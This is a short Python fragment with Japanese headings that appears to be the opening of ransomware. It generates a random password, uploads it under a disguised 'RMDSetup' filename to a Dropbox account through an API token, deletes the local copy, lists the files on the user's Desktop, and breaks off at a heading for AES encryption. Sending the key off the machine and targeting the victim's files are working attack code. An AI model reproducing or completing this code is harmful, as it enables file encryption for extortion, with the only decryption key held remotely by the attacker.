## パスワードとファイル名のランダム生成

password=''.join([random.choice(string.ascii_letters + string.digits) for i in range(50)])

mdigit=''.join([random.choice(string.digits) for i in range(3)])

## Dropbox設定

TOKEN = "###############################################################"

dbx = dropbox.Dropbox(TOKEN)
dbx.users_get_current_account()

## パスの設定

path_w = os.path.expanduser('~') + "\RMDSetup" + mdigit + ".log"
path = "/txt/RMDSetup" + mdigit + ".txt"

s = password

## 書き込みとアップロード

with open(path_w, mode='w') as f:
    f.write(s)

f = open(path_w, 'rb')
dbx.files_upload(f.read(),path )
f.close()

os.remove(path_w)

## パスワードの確認

password2 = password
if password != password2:
    print('Passwords do not match.')
    sys.exit(0)

## ファイル一覧の取得

files = glob.glob(os.path.expanduser('~') + "\Desktop\*")

## AES暗号化コード
